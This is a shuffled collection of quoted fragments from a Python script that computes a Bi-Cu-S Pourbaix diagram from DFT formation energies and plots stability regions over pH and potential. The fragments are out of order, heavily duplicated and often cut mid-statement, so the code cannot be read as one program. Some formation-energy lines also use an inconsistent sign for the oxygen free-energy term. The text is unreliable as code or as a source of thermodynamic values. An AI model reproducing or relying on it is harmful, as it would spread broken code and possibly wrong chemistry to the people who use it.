"ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.show() print('End of Script')",
"species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1",
"######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi=",
"Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate through U (energy) range ###############################################################################",
"muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5] = random.random();",
"species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0",
"species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12",
"species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0",
"break loops t=0; h=40; i=40; j=40; #If there is a linear combination, save",
"Chemical Potential Mesh Calculations ############################ ############################################################################### #should be as long as there are",
"species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3",
"3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3]",
"and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS",
"Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059",
"in the grid. Calculate for i in range(0, n+1): #calculate the energies for",
"species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1",
"color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0) or \\ (species[m, 4]==0 and",
"species[p, 5] ==0)): flag=0 #if so, find the composition though linear algebra. try:",
"ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0]",
"species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0",
"Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158",
"############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F;",
"############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1",
"species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0",
"species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus",
"species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5",
"dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922",
"j in range(1, 20): #Is there a linear combination of the elements that",
"dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus=",
"species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1",
"k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"a linear combination of the elements that will allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and",
"dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F;",
"Number combos[combo_num, 0, 0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1,",
"Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202;",
"in range(0, len(species)): for m in range(0, len(species)): for p in range(0, len(species)):",
"elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2])",
"in your graph #n=input(\"Enter the mesh grid detail you want, suggested (30-140): \")",
"muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random();",
"muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange);",
"$\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6))",
"Constants lowpH = -2; highpH = 16; pHrange = int; pHrange = highpH-lowpH;",
"species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0",
"species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0",
"dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025",
"in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution",
"array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]],",
"chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.show() print('End of",
"########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1",
"dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################ ############# CONVERT from eV to",
"species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1 species[24,7]=1 species[25,7]=1",
"- 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4)",
"5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5]",
"species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0",
"color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:],",
"dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F;",
"Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935;",
"species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron",
"############################################################################### ############## Aqueous Ion Free Energies of Formation ######################### #Free Energies of Formation",
"#BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0",
"==0)): if((species[k, 4]==0 and species[m, 4] ==0) or \\ (species[m, 4]==0 and species[p,",
"found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"-3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set the reference values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0;",
"species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4",
"'+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################ ###############################################################################",
"species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu species[0,3]=1",
"dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F;",
"dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842",
"dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus=",
"Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are the",
"species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0",
"index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for",
"muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1)",
"combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0, len(species)): for m",
"######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2",
"species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1",
"utf-8 -*- \"\"\" Created on Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\"",
"ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1]",
"combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the value of",
"species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2",
"species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4",
"species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4",
"current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for i in range(0,",
"Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol",
"each species number pH=lowpH+(i*pHcount); for j in range(1,n): U=Ulow+(j*Ucount); #If drawing lines for",
"species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3 species[56,0]=dGf_Bi2S2O species[57,0]=dGf_Bi2SO4_3 species[58,0]=dGf_Bi14OS24 species[59,0]=dGf_Bi2SO2 species[60,0]=dGf_CuBiS2 species[61,0]=dGf_Cu4Bi4S9 species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3",
"species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0",
"4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4]",
"phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or",
"muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ###############################################################################",
"species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1",
"ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for j in",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\" Created on Mon Jul 23",
"for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the",
"dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F;",
"plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################",
"species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0",
"species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0",
"'+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is at least one",
"Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num,",
"-1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396",
"0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2);",
"#Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1",
"there is a linear combination, save the species in the combos array. if",
"len(species)): #Check to make sure each element is in this combination of species",
"7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in species",
"if((species[k, 3]==0 and species[m, 3] ==0) or \\ (species[m, 3]==0 and species[p, 3]",
"species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1",
"flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"4]==0 and species[p, 4] ==0) or \\ (species[k, 4]==0 and species[p, 4] ==0)):",
"or species[p, 4]) \\ and (species[k, 5]>0 or species[m, 5] >0 or species[p,",
"species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0",
"2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num,",
"Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From",
"species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO",
"current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in the grid. Calculate for i",
"= highpH-lowpH; pHcount = pHrange/n; #used to iterate through pH range #Applied Potential",
"for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0]",
"data from numpy import asarray from numpy import save from numpy import load",
"species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2",
"combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5,",
